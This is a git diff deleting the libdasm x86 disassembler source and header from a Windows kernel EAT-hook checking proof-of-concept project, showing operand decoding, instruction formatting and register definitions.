- // Extension group 5
- case 0xff:
- *flags |= EXT_G5;
- break;
- default:
- break;
- }
- return 0;
-}
-
-// Parse operand and fill OPERAND structure
-
-int get_operand(PINST inst, int oflags, PINSTRUCTION instruction,
- POPERAND op, BYTE *data, int offset, enum Mode mode, int iflags) {
- BYTE *addr = data + offset;
- int index = 0, sib = 0, scale = 0;
- int reg = REG_NOP;
- int basereg = REG_NOP;
- int indexreg = REG_NOP;
- int dispbytes = 0;
- enum Mode pmode;
-
- // Is this valid operand?
- if (oflags == FLAGS_NONE) {
- op->type = OPERAND_TYPE_NONE;
- return 1;
- }
- // Copy flags
- op->flags = oflags;
-
- // Set operand registers
- op->reg = REG_NOP;
- op->basereg = REG_NOP;
- op->indexreg = REG_NOP;
-
- // Offsets
- op->dispoffset = 0;
- op->immoffset = 0;
-
- // Parse modrm and sib
- if (inst->modrm) {
- // 32-bit mode
- if (((mode == MODE_32) && (MASK_PREFIX_ADDR(iflags) == 0)) ||
- ((mode == MODE_16) && (MASK_PREFIX_ADDR(iflags) == 1)))
- pmode = MODE_32;
- else
- pmode = MODE_16;
-
- // Update length only once!
- if (!instruction->length) {
- instruction->modrm = *addr;
- instruction->length += 1;
- }
- // Register
- reg = MASK_MODRM_REG(*addr);
-
- // Displacement bytes
- // SIB can also specify additional displacement, see below
- if (MASK_MODRM_MOD(*addr) == 0) {
- if ((pmode == MODE_32) && (MASK_MODRM_RM(*addr) == REG_EBP))
- dispbytes = 4;
- if ((pmode == MODE_16) && (MASK_MODRM_RM(*addr) == REG_ESI))
- dispbytes = 2;
- } else if (MASK_MODRM_MOD(*addr) == 1) {
- dispbytes = 1;
-
- } else if (MASK_MODRM_MOD(*addr) == 2) {
- dispbytes = (pmode == MODE_32) ? 4 : 2;
- }
- // Base and index registers
-
- // 32-bit mode
- if (pmode == MODE_32) {
- if ((MASK_MODRM_RM(*addr) == REG_ESP) &&
- (MASK_MODRM_MOD(*addr) != 3)) {
- sib = 1;
- instruction->sib = *(addr + 1);
-
- // Update length only once!
- if (instruction->length == 1) {
- instruction->sib = *(addr + 1);
- instruction->length += 1;
- }
- basereg = MASK_SIB_BASE( *(addr + 1));
- indexreg = MASK_SIB_INDEX(*(addr + 1));
- scale = MASK_SIB_SCALE(*(addr + 1)) * 2;
- // Fix scale *8
- if (scale == 6)
- scale += 2;
-
- // Special case where base=ebp and MOD = 0
- if ((basereg == REG_EBP) && !MASK_MODRM_MOD(*addr)) {
- basereg = REG_NOP;
- dispbytes = 4;
- }
- if (indexreg == REG_ESP)
- indexreg = REG_NOP;
- } else {
- if (!MASK_MODRM_MOD(*addr) && (MASK_MODRM_RM(*addr) == REG_EBP))
- basereg = REG_NOP;
- else
- basereg = MASK_MODRM_RM(*addr);
- }
- // 16-bit
- } else {
- switch (MASK_MODRM_RM(*addr)) {
- case 0:
- basereg = REG_EBX;
- indexreg = REG_ESI;
- break;
- case 1:
- basereg = REG_EBX;
- indexreg = REG_EDI;
- break;
- case 2:
- basereg = REG_EBP;
- indexreg = REG_ESI;
- break;
- case 3:
- basereg = REG_EBP;
- indexreg = REG_EDI;
- break;
- case 4:
- basereg = REG_ESI;
- indexreg = REG_NOP;
- break;
- case 5:
- basereg = REG_EDI;
- indexreg = REG_NOP;
- break;
- case 6:
- if (!MASK_MODRM_MOD(*addr))
- basereg = REG_NOP;
- else
- basereg = REG_EBP;
- indexreg = REG_NOP;
- break;
- case 7:
- basereg = REG_EBX;
- indexreg = REG_NOP;
- break;
- }
- if (MASK_MODRM_MOD(*addr) == 3) {
- basereg = MASK_MODRM_RM(*addr);
- indexreg = REG_NOP;
- }
- }
- }
- // Operand addressing mode -specific parsing
- switch (MASK_AM(oflags)) {
-
- // Register encoded in instruction
- case AM_REG:
- op->type = OPERAND_TYPE_REGISTER;
- op->reg = MASK_REG(oflags);
- break;
-
- // Register/memory encoded in MODRM
- case AM_M:
- if (MASK_MODRM_MOD(*addr) == 3)
- return 0;
- goto skip_rest;
- case AM_R:
- if (MASK_MODRM_MOD(*addr) != 3)
- return 0;
-skip_rest:
- case AM_Q:
- case AM_W:
- case AM_E:
- op->type = OPERAND_TYPE_MEMORY;
- op->dispbytes = dispbytes;
- instruction->dispbytes = dispbytes;
- op->basereg = basereg;
- op->indexreg = indexreg;
- op->scale = scale;
-
- index = (sib) ? 1 : 0;
- if (dispbytes)
- op->dispoffset = index + 1 + offset;
- switch (dispbytes) {
- case 0:
- break;
- case 1:
- op->displacement = FETCH8(addr + 1 + index);
- // Always sign-extend
- if (op->displacement >= 0x80)
- op->displacement |= 0xffffff00;
- break;
- case 2:
- op->displacement = FETCH16(addr + 1 + index);
-
- // Malformed opcode
- if (op->displacement < 0x80)
- return 0;
- break;
- case 4:
- op->displacement = FETCH32(addr + 1 + index);
-
- // XXX: problems with [index*scale + disp] addressing
- //if (op->displacement < 0x80)
- // return 0;
- break;
- }
-
- // MODRM defines register
- if ((basereg != REG_NOP) && (MASK_MODRM_MOD(*addr) == 3)) {
- op->type = OPERAND_TYPE_REGISTER;
- op->reg = basereg;
- }
- break;
-
- // Immediate byte 1 encoded in instruction
- case AM_I1:
- op->type = OPERAND_TYPE_IMMEDIATE;
- op->immbytes = 1;
- op->immediate = 1;
- break;
- // Immediate value
- case AM_J:
- op->type = OPERAND_TYPE_IMMEDIATE;
- // Always sign-extend
- oflags |= F_s;
- case AM_I:
- op->type = OPERAND_TYPE_IMMEDIATE;
- index = (inst->modrm) ? 1 : 0;
- index += (sib) ? 1 : 0;
- index += instruction->immbytes;
- index += instruction->dispbytes;
- op->immoffset = index + offset;
-
- // 32-bit mode
- if (((mode == MODE_32) && (MASK_PREFIX_OPERAND(iflags) == 0)) ||
- ((mode == MODE_16) && (MASK_PREFIX_OPERAND(iflags) == 1)))
- mode = MODE_32;
- else
- mode = MODE_16;
-
- switch (MASK_OT(oflags)) {
- case OT_b:
- op->immbytes = 1;
- op->immediate = FETCH8(addr + index);
- if ((op->immediate >= 0x80) &&
- (MASK_FLAGS(oflags) == F_s))
- op->immediate |= 0xffffff00;
- break;
- case OT_v:
- op->immbytes = (mode == MODE_32) ?
- 4 : 2;
- op->immediate = (mode == MODE_32) ?
- FETCH32(addr + index) :
- FETCH16(addr + index);
- break;
- case OT_w:
- op->immbytes = 2;
- op->immediate = FETCH16(addr + index);
- break;
- }
- instruction->immbytes += op->immbytes;
- break;
-
- // 32-bit or 48-bit address
- case AM_A:
- op->type = OPERAND_TYPE_IMMEDIATE;
- // 32-bit mode
- if (((mode == MODE_32) && (MASK_PREFIX_OPERAND(iflags) == 0)) ||
- ((mode == MODE_16) && (MASK_PREFIX_OPERAND(iflags) == 1)))
- mode = MODE_32;
- else
- mode = MODE_16;
-
- op->dispbytes = (mode == MODE_32) ? 6 : 4;
- op->displacement = (mode == MODE_32) ?
- FETCH32(addr) : FETCH16(addr);
- op->section = FETCH16(addr + op->dispbytes - 2);
-
- instruction->dispbytes = op->dispbytes;
- instruction->sectionbytes = 2;
- break;
-
- // Plain displacement without MODRM/SIB
- case AM_O:
- op->type = OPERAND_TYPE_MEMORY;
- switch (MASK_OT(oflags)) {
- case OT_b:
- op->dispbytes = 1;
- op->displacement = FETCH8(addr);
- break;
- case OT_v:
- op->dispbytes = (mode == MODE_32) ? 4 : 2;
- op->displacement = (mode == MODE_32) ?
- FETCH32(addr) : FETCH16(addr);
- break;
- }
- instruction->dispbytes = op->dispbytes;
- op->dispoffset = offset;
- break;
-
- // General-purpose register encoded in MODRM
- case AM_G:
- op->type = OPERAND_TYPE_REGISTER;
- op->reg = reg;
- break;
-
- // control register encoded in MODRM
- case AM_C:
- // debug register encoded in MODRM
- case AM_D:
- // Segment register encoded in MODRM
- case AM_S:
- // TEST register encoded in MODRM
- case AM_T:
- // MMX register encoded in MODRM
- case AM_P:
- // XMM register encoded in MODRM
- case AM_V:
- op->type = OPERAND_TYPE_REGISTER;
- op->reg = MASK_MODRM_REG(instruction->modrm);
- break;
- }
- return 1;
-}
-
-
-// Print operand string
-
-#if !defined NOSTR
-int get_operand_string(INSTRUCTION *inst, OPERAND *op,
- enum Format format, DWORD offset, char *string, int length) {
-
- enum Mode mode;
- int regtype = 0;
- DWORD tmp;
-
- memset(string, 0, length);
-
- if (op->type == OPERAND_TYPE_REGISTER) {
- // 32-bit mode
- if (((inst->mode == MODE_32) && (MASK_PREFIX_OPERAND(inst->flags) == 0)) ||
- ((inst->mode == MODE_16) && (MASK_PREFIX_OPERAND(inst->flags) == 1)))
- mode = MODE_32;
- else
- mode = MODE_16;
-
- if (format == FORMAT_ATT)
- snprintf(string + strlen(string), length - strlen(string), "%%");
-
- // Determine register type
- switch (MASK_AM(op->flags)) {
- case AM_REG:
- if (MASK_FLAGS(op->flags) == F_r)
- regtype = REG_SEGMENT;
- else if (MASK_FLAGS(op->flags) == F_f)
- regtype = REG_FPU;
- else
- regtype = REG_GEN_DWORD;
- break;
- case AM_E:
- case AM_G:
- case AM_R:
- regtype = REG_GEN_DWORD;
- break;
- // control register encoded in MODRM
- case AM_C:
- regtype = REG_CONTROL;
- break;
- // debug register encoded in MODRM
- case AM_D:
- regtype = REG_DEBUG;
- break;
- // Segment register encoded in MODRM
- case AM_S:
- regtype = REG_SEGMENT;
- break;
- // TEST register encoded in MODRM
- case AM_T:
- regtype = REG_TEST;
- break;
- // MMX register encoded in MODRM
- case AM_P:
- case AM_Q:
- regtype = REG_MMX;
- break;
- // XMM register encoded in MODRM
- case AM_V:
- case AM_W:
- regtype = REG_XMM;
- break;
- }
- if (regtype == REG_GEN_DWORD) {
- switch (MASK_OT(op->flags)) {
- case OT_b:
- snprintf(string + strlen(string), length - strlen(string),
- "%s", reg_table[REG_GEN_BYTE][op->reg]);
- break;
- case OT_v:
- snprintf(string + strlen(string), length - strlen(string),
- "%s", (mode == MODE_32) ?
- reg_table[REG_GEN_DWORD][op->reg] :
- reg_table[REG_GEN_WORD][op->reg]);
- break;
- case OT_w:
- snprintf(string + strlen(string), length - strlen(string),
- "%s", reg_table[REG_GEN_WORD][op->reg]);
- break;
- case OT_d:
- snprintf(string + strlen(string), length - strlen(string),
- "%s", reg_table[REG_GEN_DWORD][op->reg]);
- break;
- }
- } else
- snprintf(string + strlen(string), length - strlen(string),
- "%s", reg_table[regtype][op->reg]);
-
- } else if (op->type == OPERAND_TYPE_MEMORY) {
- // 32-bit mode
- if (((inst->mode == MODE_32) && (MASK_PREFIX_ADDR(inst->flags) == 0)) ||
- ((inst->mode == MODE_16) && (MASK_PREFIX_ADDR(inst->flags) == 1)))
- mode = MODE_32;
- else
- mode = MODE_16;
-
- // Segment register prefix (only in memory operands)
- if (MASK_PREFIX_G2(inst->flags)) {
- if (format == FORMAT_ATT)
- snprintf(string + strlen(string),
- length - strlen(string), "%%");
- snprintf(string + strlen(string), length - strlen(string),
- "%s:", reg_table[REG_SEGMENT][(MASK_PREFIX_G2(inst->flags)) - 1]);
- }
- // Displacement in ATT
- if (op->dispbytes && (format == FORMAT_ATT))
- snprintf(string + strlen(string), length - strlen(string),
- "0x%x", op->displacement);
-
- // Open memory addressing brackets
- snprintf(string + strlen(string), length - strlen(string),
- "%s", (format == FORMAT_ATT) ? "(" : "[");
-
- // Base register
- if (op->basereg != REG_NOP) {
- snprintf(string + strlen(string), length - strlen(string),
- "%s%s", (format == FORMAT_ATT) ? "%" : "",
- (mode == MODE_32) ?
- reg_table[REG_GEN_DWORD][op->basereg] :
- reg_table[REG_GEN_WORD][op->basereg]);
- }
- // Index register
- if (op->indexreg != REG_NOP) {
- if (op->basereg != REG_NOP)
- snprintf(string + strlen(string), length - strlen(string),
- "%s%s", (format == FORMAT_ATT) ? ",%" : "+",
- (mode == MODE_32) ?
- reg_table[REG_GEN_DWORD][op->indexreg] :
- reg_table[REG_GEN_WORD][op->indexreg]);
- else
- snprintf(string + strlen(string), length - strlen(string),
- "%s%s", (format == FORMAT_ATT) ? "%" : "",
- (mode == MODE_32) ?
- reg_table[REG_GEN_DWORD][op->indexreg] :
- reg_table[REG_GEN_WORD][op->indexreg]);
- switch (op->scale) {
- case 2:
- snprintf(string + strlen(string), length - strlen(string),
- "%s", (format == FORMAT_ATT) ?
- ",2" : "*2");
- break;
- case 4:
- snprintf(string + strlen(string), length - strlen(string),
- "%s", (format == FORMAT_ATT) ?
- ",4" : "*4");
- break;
- case 8:
- snprintf(string + strlen(string), length - strlen(string),
- "%s", (format == FORMAT_ATT) ?
- ",8" : "*8");
- break;
- }
- }
- // INTEL displacement
- if (inst->dispbytes && (format != FORMAT_ATT)) {
- if ((op->basereg != REG_NOP) || (op->indexreg != REG_NOP)) {
- // Negative displacement
- if (op->displacement & (1<<(op->dispbytes*8-1))) {
- tmp = op->displacement;
- switch (op->dispbytes) {
- case 1:
- tmp = ~tmp & 0xff;
- break;
- case 2:
- tmp = ~tmp & 0xffff;
- break;
- case 4:
- tmp = ~tmp;
- break;
- }
- snprintf(string + strlen(string),
- length - strlen(string),
- "-0x%x", tmp + 1);
- // Positive displacement
- } else
- snprintf(string + strlen(string),
- length - strlen(string),
- "+0x%x", op->displacement);
- // Plain displacement
- } else {
- snprintf(string + strlen(string),
- length - strlen(string),
- "0x%x", op->displacement);
- }
- }
- // Close memory addressing brackets
- snprintf(string + strlen(string), length - strlen(string),
- "%s", (format == FORMAT_ATT) ? ")" : "]");
-
- } else if (op->type == OPERAND_TYPE_IMMEDIATE) {
- // 32-bit mode
- if (((inst->mode == MODE_32) && (MASK_PREFIX_OPERAND(inst->flags) == 0)) ||
- ((inst->mode == MODE_16) && (MASK_PREFIX_OPERAND(inst->flags) == 1)))
- mode = MODE_32;
- else
- mode = MODE_16;
-
- switch (MASK_AM(op->flags)) {
- case AM_J:
- snprintf(string + strlen(string), length - strlen(string),
- "0x%x", op->immediate + inst->length + offset);
- break;
- case AM_I1:
- case AM_I:
- if (format == FORMAT_ATT)
- snprintf(string + strlen(string), length - strlen(string), "$");
- snprintf(string + strlen(string), length - strlen(string),
- "0x%x", op->immediate);
- break;
- // 32-bit or 48-bit address
- case AM_A:
- snprintf(string + strlen(string), length - strlen(string),
- "%s0x%x:%s0x%x",
- (format == FORMAT_ATT) ? "$" : "",
- op->section,
- (format == FORMAT_ATT) ? "$" : "",
- op->displacement);
- break;
- }
-
- } else
- return 0;
-
- return 1;
-}
-
-#endif
-
-
-// Fetch instruction
-
-int get_instruction(PINSTRUCTION inst, BYTE *addr, enum Mode mode) {
- PINST ptr;
- int index = 0;
- int flags = 0;
- const char *ext = NULL;
-
- memset(inst, 0, sizeof(INSTRUCTION));
-
- // Parse flags, skip prefixes etc.
- get_real_instruction(addr, &index, &flags);
-
- // Select instruction table
-
- // FPU opcodes
- if (MASK_EXT(flags) == EXT_CP) {
- if (*(addr + index) < 0xc0) {
- // MODRM byte adds the additional byte
- index--;
- inst->fpuindex = *(addr + index) - 0xd8;
- inst->opcode = *(addr + index + 1);
- ptr = &inst_table4[inst->fpuindex]
- [MASK_MODRM_REG(inst->opcode)];
- } else {
- inst->fpuindex = *(addr + index - 1) - 0xd8;
- inst->opcode = *(addr + index);
- ptr = &inst_table4[inst->fpuindex]
- [inst->opcode - 0xb8];
- }
-
- // 2 or 3-byte opcodes
- } else if (MASK_EXT(flags) == EXT_T2) {
- inst->opcode = *(addr + index);
- get_real_instruction2(addr + index, &flags);
-
- // 3-byte opcode tables
-
- // prefix 0x66
- if (MASK_PREFIX_OPERAND(flags) == 1) {
- ptr = &inst_table3_66[inst->opcode];
-
- // prefix 0xf2
- } else if (MASK_PREFIX_G1(flags) == 2) {
- ptr = &inst_table3_f2[inst->opcode];
-
- // prefix 0xf3
- } else if (MASK_PREFIX_G1(flags) == 3) {
- ptr = &inst_table3_f3[inst->opcode];
-
- // normal 2-byte opcode table
- } else {
- ptr = &inst_table2[inst->opcode];
- }
-
- // extension group 3 "test" (<-- stupid hack)
- } else if ((MASK_EXT(flags) == EXT_G3) &&
- !MASK_MODRM_REG(*(addr + index + 1))) {
- inst->opcode = *(addr + index);
- ptr = &inst_table_test[inst->opcode - 0xf6];
-
- // finally, the default 1-byte opcode table
- } else {
- inst->opcode = *(addr + index);
- ptr = &inst_table1[inst->opcode];
- }
-
- // Illegal instruction
- if (!ptr->mnemonic) return 0;
-
- // Copy instruction type
- inst->type = ptr->type;
-
- // Pointer to instruction table
- inst->ptr = ptr;
-
- // Index points now to first byte after prefixes/escapes
- index++;
-
- // Opcode extensions
- if (MASK_EXT(flags) && (MASK_EXT(flags) < EXT_T2)) {
- inst->extindex = MASK_MODRM_REG(*(addr + index));
- ext = ext_name_table[(MASK_EXT(flags)) - 1][inst->extindex];
- if (ext == NULL)
- return 0;
- /*
- * Copy instruction type from extension table
- * except for groups 12-14. These are special groups
- * that are either MMX/SSE instructions. For these,
- * just use the type in INST structure.
- *
- */
- if ((MASK_EXT(flags) < 12) || (MASK_EXT(flags) > 14))
- inst->type =
- ext_type_table[(MASK_EXT(flags)) - 1][inst->extindex];
- }
-
- // Parse operands
- if (!get_operand(ptr, ptr->flags1, inst, &inst->op1, addr, index,
- mode, flags))
- return 0;
- if (!get_operand(ptr, ptr->flags2, inst, &inst->op2, addr, index,
- mode, flags))
- return 0;
- if (!get_operand(ptr, ptr->flags3, inst, &inst->op3, addr, index,
- mode, flags))
- return 0;
-
- // Add modrm/sib, displacement and immediate bytes in size
- inst->length += index + inst->immbytes + inst->dispbytes;
-
- // Copy addressing mode
- inst->mode = mode;
-
- // Copy instruction flags
- inst->flags = flags;
-
- return inst->length;
-}
-
-
-// Print instruction mnemonic
-
-#if !defined NOSTR
-int get_mnemonic_string(INSTRUCTION *inst, enum Format format, char *string, int length) {
- const char *ext;
-
- memset(string, 0, length);
-
- // Segment override
- if (MASK_PREFIX_G2(inst->flags) &&
- (inst->op1.type != OPERAND_TYPE_MEMORY) &&
- (inst->op2.type != OPERAND_TYPE_MEMORY))
- snprintf(string + strlen(string), length - strlen(string),
- "%s ", reg_table[REG_SEGMENT][(MASK_PREFIX_G2(inst->flags)) - 1]);
-
- // Rep, lock etc.
- if (MASK_PREFIX_G1(inst->flags) &&
- (MASK_EXT(inst->flags) != EXT_T2))
- snprintf(string + strlen(string), length - strlen(string),
- "%s", rep_table[(MASK_PREFIX_G1(inst->flags)) - 1]);
-
- // Opcode extensions
- if (MASK_EXT(inst->flags) &&
- (MASK_EXT(inst->flags) != EXT_T2) &&
- (MASK_EXT(inst->flags) != EXT_CP)) {
- ext = ext_name_table[(MASK_EXT(inst->flags)) - 1][inst->extindex];
- snprintf(string + strlen(string), length - strlen(string),
- "%s", ext);
- } else {
- snprintf(string + strlen(string), length - strlen(string),
- "%s", inst->ptr->mnemonic);
- }
-
- // memory operation size in immediate to memory operations
- // XXX: also, register -> memory operations when size is different
- if (inst->ptr->modrm && (MASK_MODRM_MOD(inst->modrm) != 3) &&
- (MASK_AM(inst->op2.flags) == AM_I)) {
-
- switch (MASK_OT(inst->op1.flags)) {
- case OT_b:
- snprintf(string + strlen(string), length - strlen(string),
- "%s", (format == FORMAT_ATT) ?
- "b" : " byte");
- break;
- case OT_w:
- snprintf(string + strlen(string), length - strlen(string),
- "%s", (format == FORMAT_ATT) ?
- "w" : " word");
- break;
- case OT_d:
- snprintf(string + strlen(string), length - strlen(string),
- "%s", (format == FORMAT_ATT) ?
- "l" : " dword");
- break;
- case OT_v:
- if (((inst->mode == MODE_32) && (MASK_PREFIX_OPERAND(inst->flags) == 0)) ||
- ((inst->mode == MODE_16) && (MASK_PREFIX_OPERAND(inst->flags) == 1)))
- snprintf(string + strlen(string), length - strlen(string),
- "%s", (format == FORMAT_ATT) ?
- "l" : " dword");
- else
- snprintf(string + strlen(string), length - strlen(string),
- "%s", (format == FORMAT_ATT) ?
- "w" : " word");
- break;
- }
- }
- return 1;
-}
-
-// Print operands
-
-int get_operands_string(INSTRUCTION *inst, enum Format format, DWORD offset,
- char *string, int length) {
-
- if (format == FORMAT_ATT) {
- if (inst->op3.type != OPERAND_TYPE_NONE) {
- get_operand_string(inst, &inst->op3, format, offset,
- string + strlen(string), length - strlen(string));
- snprintf(string + strlen(string), length - strlen(string), ",");
- }
- if (inst->op2.type != OPERAND_TYPE_NONE) {
- get_operand_string(inst, &inst->op2, format, offset,
- string + strlen(string), length - strlen(string));
- snprintf(string + strlen(string), length - strlen(string), ",");
- }
- if (inst->op1.type != OPERAND_TYPE_NONE)
- get_operand_string(inst, &inst->op1, format, offset,
- string + strlen(string), length - strlen(string));
- } else if (format == FORMAT_INTEL) {
- if (inst->op1.type != OPERAND_TYPE_NONE)
- get_operand_string(inst, &inst->op1, format, offset,
- string + strlen(string), length - strlen(string));
- if (inst->op2.type != OPERAND_TYPE_NONE) {
- snprintf(string + strlen(string), length - strlen(string), ",");
- get_operand_string(inst, &inst->op2, format, offset,
- string + strlen(string), length - strlen(string));
- }
- if (inst->op3.type != OPERAND_TYPE_NONE) {
- snprintf(string + strlen(string), length - strlen(string), ",");
- get_operand_string(inst, &inst->op3, format, offset,
- string + strlen(string), length - strlen(string));
- }
- } else
- return 0;
-
- return 1;
-}
-
-// Print instruction mnemonic, prefixes and operands
-
-int get_instruction_string(INSTRUCTION *inst, enum Format format, DWORD offset,
- char *string, int length) {
-
- // Print the actual instruction string with possible prefixes etc.
- get_mnemonic_string(inst, format, string, length);
-
- snprintf(string + strlen(string), length - strlen(string), " ");
-
- // Print operands
- if (!get_operands_string(inst, format, offset,
- string + strlen(string), length - strlen(string)))
- return 0;
-
- return 1;
-}
-
-#endif
-
-// Helper functions
-
-int get_register_type(POPERAND op) {
-
- if (op->type != OPERAND_TYPE_REGISTER)
- return 0;
- switch (MASK_AM(op->flags)) {
- case AM_REG:
- if (MASK_FLAGS(op->flags) == F_r)
- return REGISTER_TYPE_SEGMENT;
- else if (MASK_FLAGS(op->flags) == F_f)
- return REGISTER_TYPE_FPU;
- else
- return REGISTER_TYPE_GEN;
- case AM_E:
- case AM_G:
- case AM_R:
- return REGISTER_TYPE_GEN;
- case AM_C:
- return REGISTER_TYPE_CONTROL;
- case AM_D:
- return REGISTER_TYPE_DEBUG;
- case AM_S:
- return REGISTER_TYPE_SEGMENT;
- case AM_T:
- return REGISTER_TYPE_TEST;
- case AM_P:
- case AM_Q:
- return REGISTER_TYPE_MMX;
- case AM_V:
- case AM_W:
- return REGISTER_TYPE_XMM;
- default:
- break;
- }
- return 0;
-}
-
-int get_operand_type(POPERAND op) {
- return op->type;
-}
-
-int get_operand_register(POPERAND op) {
- return op->reg;
-}
-
-int get_operand_basereg(POPERAND op) {
- return op->basereg;
-}
-
-int get_operand_indexreg(POPERAND op) {
- return op->indexreg;
-}
-
-int get_operand_scale(POPERAND op) {
- return op->scale;
-}
-
-int get_operand_immediate(POPERAND op, DWORD *imm) {
- if (op->immbytes) {
- *imm = op->immediate;
- return 1;
- } else
- return 0;
-}
-
-int get_operand_displacement(POPERAND op, DWORD *disp) {
- if (op->dispbytes) {
- *disp = op->displacement;
- return 1;
- } else
- return 0;
-}
-
-// XXX: note that source and destination are not always literal
-
-POPERAND get_source_operand(PINSTRUCTION inst) {
- if (inst->op2.type != OPERAND_TYPE_NONE)
- return &inst->op2;
- else
- return NULL;
-}
-POPERAND get_destination_operand(PINSTRUCTION inst) {
- if (inst->op1.type != OPERAND_TYPE_NONE)
- return &inst->op1;
- else
- return NULL;
-}
-
-
diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/libdasm.h b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/libdasm.h
deleted file mode 100644
index 6ac4876b..00000000
--- a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/libdasm.h
+++ /dev/null
@@ -1,515 +0,0 @@
-
-/*
- * libdasm -- simple x86 disassembly library
- * (c) 2004 - 2005 jt / nologin.org
- *
- */
-
-
-#ifndef _LIBDASM_H
-#define _LIBDASM_H
-
-
-#ifdef __cplusplus
-extern "C" {
-#endif
-
-#define __LIBDASM_VERSION__ 0x01020000
-
-#define GET_VERSION_MAJOR \
- (__LIBDASM_VERSION__ & 0xff000000) >> 24
-#define GET_VERSION_MINOR1 \
- (__LIBDASM_VERSION__ & 0x00ff0000) >> 16
-#define GET_VERSION_MINOR2 \
- (__LIBDASM_VERSION__ & 0x0000ff00) >> 8
-#define GET_VERSION_MINOR3 \
- (__LIBDASM_VERSION__ & 0x000000ff)
-
-// Data types
-
-#if _WIN32
-//#include
-#define __inline__ __inline
-#define snprintf _snprintf
-typedef unsigned __int64 QWORD; // for MSVC
-typedef signed __int8 SBYTE;
-typedef signed __int16 SWORD;
-typedef signed __int32 SDWORD;
-typedef signed __int64 SQWORD;
-#else
-#if defined __sun
-#define BYTE_ORDER 1234
-#define BIG_ENDIAN 1234
-#define LITTLE_ENDIAN 4321
-#define u_int8_t uint8_t
-#define u_int16_t uint16_t
-#define u_int32_t uint32_t
-#define u_int64_t uint64_t
-
-#endif // other *nix
-#include
-typedef u_int8_t BYTE;
-typedef u_int16_t WORD;
-typedef u_int32_t DWORD;
-typedef u_int64_t QWORD;
-typedef int8_t SBYTE;
-typedef int16_t SWORD;
-typedef int32_t SDWORD;
-typedef int64_t SQWORD;
-#endif
-
-// Define endianess
-
-#ifndef __X86__
-// These should catch x86 with most compilers
-#if defined _X86_ || defined _i386_ || defined __i386__
-#define __X86__
-#endif
-#endif
-
-#ifndef __LITTLE_ENDIAN__
-// These should catch little-endian with most compilers
-#if (BYTE_ORDER == LITTLE_ENDIAN) || defined __X86__ || defined _ALPHA_
-#define __LITTLE_ENDIAN__
-#endif
-#endif
-
-typedef unsigned long DWORD;
-typedef unsigned long *PDWORD;
-typedef unsigned short WORD;
-typedef unsigned char BYTE;
-typedef unsigned char *PBYTE;
-//typedef unsigned short HMODULE;
-
-
-
-// Registers
-#define REGISTER_EAX 0
-#define REGISTER_ECX 1
-#define REGISTER_EDX 2
-#define REGISTER_EBX 3
-#define REGISTER_ESP 4
-#define REGISTER_EBP 5
-#define REGISTER_ESI 6
-#define REGISTER_EDI 7
-#define REGISTER_NOP 10 // no register defined
-
-// Registers
-#define MASK_REG(x) ((x) & 0x000000FF)
-#define REG_EAX REGISTER_EAX
-#define REG_AX REG_EAX
-#define REG_AL REG_EAX
-#define REG_ES REG_EAX // Just for reg_table consistence
-#define REG_ST0 REG_EAX // Just for reg_table consistence
-#define REG_ECX REGISTER_ECX
-#define REG_CX REG_ECX
-#define REG_CL REG_ECX
-#define REG_CS REG_ECX
-#define REG_ST1 REG_ECX
-#define REG_EDX REGISTER_EDX
-#define REG_DX REG_EDX
-#define REG_DL REG_EDX
-#define REG_SS REG_EDX
-#define REG_ST2 REG_EDX
-#define REG_EBX REGISTER_EBX
-#define REG_BX REG_EBX
-#define REG_BL REG_EBX
-#define REG_DS REG_EBX
-#define REG_ST3 REG_EBX
-#define REG_ESP REGISTER_ESP
-#define REG_SP REG_ESP
-#define REG_AH REG_ESP // Just for reg_table consistence
-#define REG_FS REG_ESP
-#define REG_ST4 REG_ESP
-#define REG_EBP REGISTER_EBP
-#define REG_BP REG_EBP
-#define REG_CH REG_EBP
-#define REG_GS REG_EBP
-#define REG_ST5 REG_EBP
-#define REG_ESI REGISTER_ESI
-#define REG_SI REG_ESI
-#define REG_DH REG_ESI
-#define REG_ST6 REG_ESI
-#define REG_EDI REGISTER_EDI
-#define REG_DI REG_EDI
-#define REG_BH REG_EDI
-#define REG_ST7 REG_EDI
-#define REG_NOP REGISTER_NOP
-
-// Register types
-#define REGISTER_TYPE_GEN 1
-#define REGISTER_TYPE_SEGMENT 2
-#define REGISTER_TYPE_DEBUG 3
-#define REGISTER_TYPE_CONTROL 4
-#define REGISTER_TYPE_TEST 5
-#define REGISTER_TYPE_XMM 6
-#define REGISTER_TYPE_MMX 7
-#define REGISTER_TYPE_FPU 8
-
-// Disassembling mode
-enum Mode {
- MODE_32, // 32-bit
- MODE_16 // 16-bit
-};
-
-// Disassembling format
-enum Format {
- FORMAT_ATT,
- FORMAT_INTEL,
-};
-
-// Instruction types (just the most common ones atm)
-enum Instruction {
- // Integer instructions
- INSTRUCTION_TYPE_ASC, // aaa, aam, etc.
- INSTRUCTION_TYPE_DCL, // daa, das
- INSTRUCTION_TYPE_MOV,
- INSTRUCTION_TYPE_MOVSR, // segment register
- INSTRUCTION_TYPE_ADD,
- INSTRUCTION_TYPE_XADD,
- INSTRUCTION_TYPE_ADC,
- INSTRUCTION_TYPE_SUB,
- INSTRUCTION_TYPE_SBB,
- INSTRUCTION_TYPE_INC,
- INSTRUCTION_TYPE_DEC,
- INSTRUCTION_TYPE_DIV,
- INSTRUCTION_TYPE_IDIV,
- INSTRUCTION_TYPE_NOT,
- INSTRUCTION_TYPE_NEG,
- INSTRUCTION_TYPE_STOS,
- INSTRUCTION_TYPE_LODS,
- INSTRUCTION_TYPE_SCAS,
- INSTRUCTION_TYPE_MOVS,
- INSTRUCTION_TYPE_MOVSX,
- INSTRUCTION_TYPE_MOVZX,
- INSTRUCTION_TYPE_CMPS,
- INSTRUCTION_TYPE_SHX, // signed/unsigned shift left/right
- INSTRUCTION_TYPE_ROX, // signed/unsigned rot left/right
- INSTRUCTION_TYPE_MUL,
- INSTRUCTION_TYPE_IMUL,
- INSTRUCTION_TYPE_EIMUL, // "extended" imul with 2-3 operands
- INSTRUCTION_TYPE_XOR,
- INSTRUCTION_TYPE_LEA,
- INSTRUCTION_TYPE_XCHG,
- INSTRUCTION_TYPE_CMP,
- INSTRUCTION_TYPE_TEST,
- INSTRUCTION_TYPE_PUSH,
- INSTRUCTION_TYPE_AND,
- INSTRUCTION_TYPE_OR,
- INSTRUCTION_TYPE_POP,
